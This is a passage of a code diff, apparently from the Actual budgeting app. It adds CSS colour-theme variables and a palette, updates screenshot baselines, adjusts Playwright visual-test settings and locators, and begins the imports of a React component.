--color-mobilePageBackground: var(--palette-navy50);
--color-mobileNavBackground: var(--palette-white);
--color-mobileNavItem: var(--palette-gray300);
--color-mobileNavItemSelected: var(--palette-purple500);
--color-mobileAccountShadow: var(--palette-navy300);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple500);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple150);
--color-markdownDark: var(--palette-purple400);
--color-markdownLight: var(--palette-purple100);
--color-buttonMenuText: var(--palette-navy100);
--color-buttonMenuTextHover: var(--palette-navy50);
--color-buttonMenuBackground: transparent;
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-navy500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple500);
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
--color-buttonPrimaryDisabledText: var(--palette-white);
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-navy900);
--color-buttonNormalTextHover: var(--color-buttonNormalText);
--color-buttonNormalBackground: var(--palette-white);
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
--color-buttonNormalBorder: var(--palette-navy150);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-blue600);
--color-buttonNormalDisabledText: var(--palette-navy300);
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
--color-calendarText: var(--palette-navy50);
--color-calendarBackground: var(--palette-navy900);
--color-calendarItemText: var(--palette-navy150);
--color-calendarItemBackground: var(--palette-navy800);
--color-calendarSelectedBackground: var(--palette-navy500);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green150);
--color-noticeBackgroundLight: var(--palette-green100);
--color-noticeBackgroundDark: var(--palette-green500);
--color-noticeText: var(--palette-green700);
--color-noticeTextLight: var(--palette-green500);
--color-noticeTextDark: var(--palette-green900);
--color-noticeTextMenu: var(--palette-green200);
--color-noticeBorder: var(--palette-green500);
--color-warningBackground: var(--palette-orange200);
--color-warningText: var(--palette-orange700);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange900);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red100);
--color-errorText: var(--palette-red500);
--color-errorTextDark: var(--palette-red700);
--color-errorTextDarker: var(--palette-red900);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple100);
--color-upcomingText: var(--palette-purple700);
--color-upcomingBorder: var(--palette-purple500);
--color-formLabelText: var(--palette-blue600);
--color-formLabelBackground: var(--palette-blue200);
--color-formInputBackground: var(--palette-navy50);
--color-formInputBackgroundSelected: var(--palette-white);
--color-formInputBackgroundSelection: var(--palette-purple500);
--color-formInputBorder: var(--palette-navy150);
--color-formInputTextReadOnlySelection: var(--palette-navy50);
--color-formInputBorderSelected: var(--palette-purple500);
--color-formInputText: var(--palette-navy900);
--color-formInputTextSelected: var(--palette-navy50);
--color-formInputTextPlaceholder: var(--palette-navy300);
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
--color-formInputTextSelection: var(--palette-navy100);
--color-formInputShadowSelected: var(--palette-purple300);
--color-formInputTextHighlight: var(--palette-purple200);
--color-checkboxText: var(--color-tableBackground);
--color-checkboxBackgroundSelected: var(--palette-blue500);
--color-checkboxBorderSelected: var(--palette-blue500);
--color-checkboxShadowSelected: var(--palette-blue300);
--color-checkboxToggleBackground: var(--palette-gray400);
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
--color-checkboxToggleDisabled: var(--palette-gray200);
--color-pillBackground: var(--palette-navy150);
--color-pillBackgroundLight: var(--palette-navy50);
--color-pillText: var(--palette-navy800);
--color-pillTextHighlighted: var(--palette-purple600);
--color-pillBorder: var(--palette-navy150);
--color-pillBorderDark: var(--palette-navy300);
--color-pillBackgroundSelected: var(--palette-blue150);
--color-pillTextSelected: var(--palette-blue900);
--color-pillBorderSelected: var(--palette-purple500);
--color-pillTextSubdued: var(--palette-navy200);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--palette-navy900);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple125);
--color-noteTagBackgroundHover: var(--palette-purple150);
--color-noteTagDefault: var(--palette-purple125);
--color-noteTagText: var(--palette-black);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetOtherMonth: var(--palette-gray50);
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
--color-budgetHeaderOtherMonth: var(--palette-gray80);
--color-floatingActionBarBackground: var(--palette-purple400);
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
--color-floatingActionBarText: var(--palette-navy50);
--color-tooltipText: var(--palette-navy900);
--color-tooltipBackground: var(--palette-white);
--color-tooltipBorder: var(--palette-navy150);
--color-calendarCellBackground: var(--palette-navy100);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,252 @@
:root {
--color-pageBackground: var(--palette-gray600);
--color-pageBackgroundModalActive: var(--palette-gray700);
--color-pageBackgroundTopLeft: var(--palette-gray800);
--color-pageBackgroundBottomRight: var(--palette-gray700);
--color-pageBackgroundLineTop: var(--palette-purple300);
--color-pageBackgroundLineMid: var(--palette-gray900);
--color-pageBackgroundLineBottom: var(--palette-gray150);
--color-pageText: var(--palette-gray100);
--color-pageTextLight: var(--palette-gray200);
--color-pageTextSubdued: var(--palette-gray400);
--color-pageTextDark: var(--palette-gray100);
--color-pageTextPositive: var(--palette-purple200);
--color-pageTextLink: var(--palette-purple300);
--color-pageTextLinkLight: var(--palette-purple300);
--color-cardBackground: var(--palette-gray800);
--color-cardBorder: var(--palette-purple300);
--color-cardShadow: var(--palette-gray900);
--color-tableBackground: var(--palette-gray800);
--color-tableRowBackgroundHover: var(--palette-gray500);
--color-tableText: var(--palette-gray150);
--color-tableTextLight: var(--color-tableText);
--color-tableTextSubdued: var(--palette-gray500);
--color-tableTextSelected: var(--palette-gray800);
--color-tableTextHover: var(--palette-gray400);
--color-tableTextInactive: var(--palette-gray400);
--color-tableHeaderText: var(--palette-gray200);
--color-tableHeaderBackground: var(--palette-gray900);
--color-tableBorder: var(--palette-gray600);
--color-tableBorderSelected: var(--palette-purple400);
--color-tableBorderHover: var(--palette-purple300);
--color-tableBorderSeparator: var(--palette-gray400);
--color-tableRowBackgroundHighlight: var(--palette-purple150);
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
--color-tableRowHeaderBackground: var(--palette-gray700);
--color-tableRowHeaderText: var(--palette-gray150);
--color-numberPositive: var(--palette-green300);
--color-numberNegative: var(--palette-red200);
--color-numberNeutral: var(--palette-gray500);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange200);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-gray900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green400);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemBackgroundHover: var(--palette-gray700);
--color-sidebarItemText: var(--palette-gray100);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-gray300);
--color-menuBackground: var(--palette-gray700);
--color-menuItemBackground: var(--palette-gray200);
--color-menuItemBackgroundHover: var(--palette-gray500);
--color-menuItemText: var(--palette-gray100);
--color-menuItemTextHover: var(--palette-gray50);
--color-menuItemTextSelected: var(--palette-purple400);
--color-menuItemTextHeader: var(--palette-purple200);
--color-menuBorder: var(--palette-gray800);
--color-menuBorderHover: var(--palette-purple300);
--color-menuKeybindingText: var(--palette-purple200);
--color-menuAutoCompleteBackground: var(--palette-gray600);
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
--color-menuAutoCompleteText: var(--palette-gray100);
--color-menuAutoCompleteTextHover: var(--palette-green400);
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
--color-menuAutoCompleteItemText: var(--color-menuItemText);
--color-modalBackground: var(--palette-gray700);
--color-modalBorder: var(--palette-gray200);
--color-mobileHeaderBackground: var(--palette-gray900);
--color-mobileHeaderText: var(--palette-purple200);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-gray900);
--color-mobileNavBackground: var(--palette-gray600);
--color-mobileNavItem: var(--palette-gray150);
--color-mobileNavItemSelected: var(--palette-purple200);
--color-mobileAccountShadow: var(--color-cardShadow);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple300);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple700);
--color-markdownDark: var(--palette-purple500);
--color-markdownLight: var(--palette-purple800);
--color-buttonMenuText: var(--palette-gray200);
--color-buttonMenuTextHover: var(--color-buttonMenuText);
--color-buttonMenuBackground: var(--palette-gray700);
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-gray500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple300);
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
--color-buttonPrimaryDisabledText: var(--palette-gray400);
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-gray150);
--color-buttonNormalTextHover: var(--palette-gray150);
--color-buttonNormalBackground: var(--palette-gray600);
--color-buttonNormalBackgroundHover: var(--palette-gray400);
--color-buttonNormalBorder: var(--palette-gray300);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-purple500);
--color-buttonNormalDisabledText: var(--palette-gray400);
--color-buttonNormalDisabledBackground: var(--palette-gray700);
--color-buttonNormalDisabledBorder: var(--palette-gray500);
--color-calendarText: var(--palette-gray50);
--color-calendarBackground: var(--palette-gray700);
--color-calendarItemText: var(--palette-gray150);
--color-calendarItemBackground: var(--palette-gray500);
--color-calendarSelectedBackground: var(
--color-buttonNormalSelectedBackground
);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green600);
--color-noticeBackgroundLight: var(--palette-green900);
--color-noticeBackgroundDark: var(--palette-green400);
--color-noticeText: var(--palette-green300);
--color-noticeTextLight: var(--palette-green400);
--color-noticeTextDark: var(--palette-green150);
--color-noticeTextMenu: var(--palette-green400);
--color-noticeTextMenuHover: var(--palette-green700);
--color-noticeBorder: var(--palette-green800);
--color-warningBackground: var(--palette-orange800);
--color-warningText: var(--palette-orange200);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange100);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red800);
--color-errorText: var(--palette-red200);
--color-errorTextDark: var(--palette-red150);
--color-errorTextDarker: var(--color-errorTextDark);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple800);
--color-upcomingText: var(--palette-purple200);
--color-upcomingBorder: var(--color-tableBorder);
--color-formLabelText: var(--palette-purple150);
--color-formLabelBackground: var(--palette-blue900);
--color-formInputBackground: var(--palette-gray800);
--color-formInputBackgroundSelected: var(--palette-gray700);
--color-formInputBackgroundSelection: var(--palette-purple400);
--color-formInputBorder: var(--palette-gray600);
--color-formInputTextReadOnlySelection: var(--palette-gray800);
--color-formInputBorderSelected: var(--palette-purple300);
--color-formInputText: var(--palette-gray150);
--color-formInputTextSelected: var(--palette-black);
--color-formInputTextPlaceholder: var(--palette-gray150);
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
--color-formInputTextSelection: var(--palette-gray800);
--color-formInputShadowSelected: var(--palette-purple400);
--color-formInputTextHighlight: var(--palette-purple200);
--color-checkboxText: var(--color-tableText);
--color-checkboxBackgroundSelected: var(--palette-purple300);
--color-checkboxBorderSelected: var(--palette-purple300);
--color-checkboxShadowSelected: var(--palette-purple500);
--color-checkboxToggleBackground: var(--palette-gray400);
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
--color-checkboxToggleDisabled: var(--palette-gray700);
--color-pillBackground: var(--palette-gray500);
--color-pillBackgroundLight: var(--palette-gray900);
--color-pillText: var(--palette-gray200);
--color-pillTextHighlighted: var(--palette-purple200);
--color-pillBorder: var(--palette-gray500);
--color-pillBorderDark: var(--color-pillBorder);
--color-pillBackgroundSelected: var(--palette-purple600);
--color-pillTextSelected: var(--palette-gray150);
--color-pillBorderSelected: var(--palette-purple300);
--color-pillTextSubdued: var(--palette-gray500);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--color-pageText);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple800);
--color-noteTagBackgroundHover: var(--palette-purple600);
--color-noteTagDefault: var(--palette-purple700);
--color-noteTagText: var(--palette-purple100);
--color-budgetOtherMonth: var(--palette-gray700);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetHeaderOtherMonth: var(--palette-gray800);
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
--color-floatingActionBarBackground: var(--palette-gray900);
--color-floatingActionBarBorder: var(--palette-purple300);
--color-floatingActionBarText: var(--palette-purple200);
--color-tooltipText: var(--palette-gray100);
--color-tooltipBackground: var(--palette-gray800);
--color-tooltipBorder: var(--palette-gray600);
--color-calendarCellBackground: var(--palette-navy900);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,103 @@
:root {
--palette-gray50: #f6f8fa;
--palette-gray80: #f0f4f6;
--palette-gray100: #e8ecf0;
--palette-gray150: #d4dae0;
--palette-gray200: #bdc5cf;
--palette-gray300: #98a1ae;
--palette-gray400: #747c8b;
--palette-gray500: #4d5768;
--palette-gray600: #373b4a;
--palette-gray700: #242733;
--palette-gray800: #141520;
--palette-gray900: #080811;
--palette-navy50: #f7fafc;
--palette-navy100: #e8ecf0;
--palette-navy150: #d9e2ec;
--palette-navy200: #bcccdc;
--palette-navy300: #9fb3c8;
--palette-navy400: #829ab1;
--palette-navy500: #627d98;
--palette-navy600: #486581;
--palette-navy700: #334e68;
--palette-navy800: #243b53;
--palette-navy900: #102a43;
--palette-blue50: #f5fcff;
--palette-blue100: #e3f0ff;
--palette-blue150: #b3d9ff;
--palette-blue200: #8bcafd;
--palette-blue300: #66b5fa;
--palette-blue400: #40a5f7;
--palette-blue500: #2b8fed;
--palette-blue600: #1980d4;
--palette-blue700: #1271bf;
--palette-blue800: #0b5fa3;
--palette-blue900: #034388;
--palette-green50: #fafffd;
--palette-green100: #effcf6;
--palette-green150: #c6f7e2;
--palette-green200: #8eedc7;
--palette-green300: #65d6ad;
--palette-green400: #3ebd93;
--palette-green500: #27ab83;
--palette-green600: #199473;
--palette-green700: #147d64;
--palette-green800: #0c6b58;
--palette-green900: #014d40;
--palette-orange50: #fffefa;
--palette-orange100: #fffbea;
--palette-orange150: #fff7c4;
--palette-orange200: #fcf088;
--palette-orange300: #f5e35d;
--palette-orange400: #f2d047;
--palette-orange500: #e6bb20;
--palette-orange600: #d4a31c;
--palette-orange700: #b88115;
--palette-orange800: #87540d;
--palette-orange900: #733309;
--palette-red50: #fff1f1;
--palette-red100: #ffe3e3;
--palette-red150: #ffbdbd;
--palette-red200: #ff9b9b;
--palette-red300: #f86a6a;
--palette-red400: #ef4e4e;
--palette-red500: #e12d39;
--palette-red600: #cf1124;
--palette-red700: #ab091e;
--palette-red800: #8a041a;
--palette-red900: #610316;
--palette-purple50: #f9f6fe;
--palette-purple100: #f2ebfe;
--palette-purple125: #e4d4ff;
--palette-purple150: #dac4ff;
--palette-purple200: #b990ff;
--palette-purple300: #a368fc;
--palette-purple400: #9446ed;
--palette-purple500: #8719e0;
--palette-purple600: #7a0ecc;
--palette-purple700: #690cb0;
--palette-purple800: #580a94;
--palette-purple900: #44056e;
--palette-white: #ffffff;
--palette-black: #000000;
--palette-hover: #fafafa;
--palette-border: #e8ecf0;
--palette-selected: #b3d9ff;
--palette-chartQual1: #45b29d;
--palette-chartQual2: #efc94c;
--palette-chartQual3: #e27a3f;
--palette-chartQual4: #df5a49;
--palette-chartQual5: #5f91b8;
--palette-chartQual6: #e2a37f;
--palette-chartQual7: #55dbc1;
--palette-chartQual8: #efda97;
--palette-chartQual9: #df948a;
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 192 KiB

After

Width:  |  Height:  |  Size: 192 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 187 KiB

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 186 KiB

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 86 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 86 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 88 KiB

After

Width:  |  Height:  |  Size: 88 KiB

View File

@@ -63,7 +63,6 @@ export const expect = baseExpect.extend({
const config = {
mask: [target.locator('[data-vrt-mask="true"]')],
maxDiffPixels: 5,
};
const page: Page = 'page' in target ? target.page() : target;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 93 KiB

After

Width:  |  Height:  |  Size: 93 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 119 KiB

After

Width:  |  Height:  |  Size: 119 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 117 KiB

After

Width:  |  Height:  |  Size: 117 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 117 KiB

After

Width:  |  Height:  |  Size: 118 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 138 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

View File

@@ -245,7 +245,7 @@ export class AccountPage {
if (transaction.notes) {
const notesCell = transactionRow.getByTestId('notes');
await notesCell.click();
const notesInput = notesCell.getByRole('textbox');
const notesInput = notesCell.getByRole('combobox');
await this.selectInputText(notesInput);
await notesInput.pressSequentially(transaction.notes);
await this.page.keyboard.press('Tab');

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 36 KiB

View File

@@ -26,7 +26,13 @@ export default defineConfig({
// until layout provides width/height, and that can take >5s. Bumping
// to 10s lets those assertions settle without per-test overrides.
timeout: 10_000,
toHaveScreenshot: { maxDiffPixels: 5 },
// `threshold` is pixelmatch's per-pixel YIQ-delta cutoff — a pixel
// counts toward `maxDiffPixels` only if its delta exceeds
// 35215 * threshold². Playwright's 0.2 default lets faint color
// overlays (e.g. rgba(…, .15) row striping) slip through with 0
// reported diff pixels; 0.05 catches them while staying above
// anti-aliasing noise.
toHaveScreenshot: { maxDiffPixels: 5, threshold: 0.05 },
},
webServer: process.env.E2E_START_URL
? undefined

View File

@@ -0,0 +1,212 @@
import {
useCallback,
useEffect,
useId,
useMemo,
useRef,
useState,
} from 'react';
import type {
CSSProperties,
FocusEventHandler,
KeyboardEvent,
KeyboardEventHandler,
} from 'react';
import { ListBox, ListBoxItem, Popover } from 'react-aria-components';
import { useTranslation } from 'react-i18next';
import { Input } from '@actual-app/components/input';
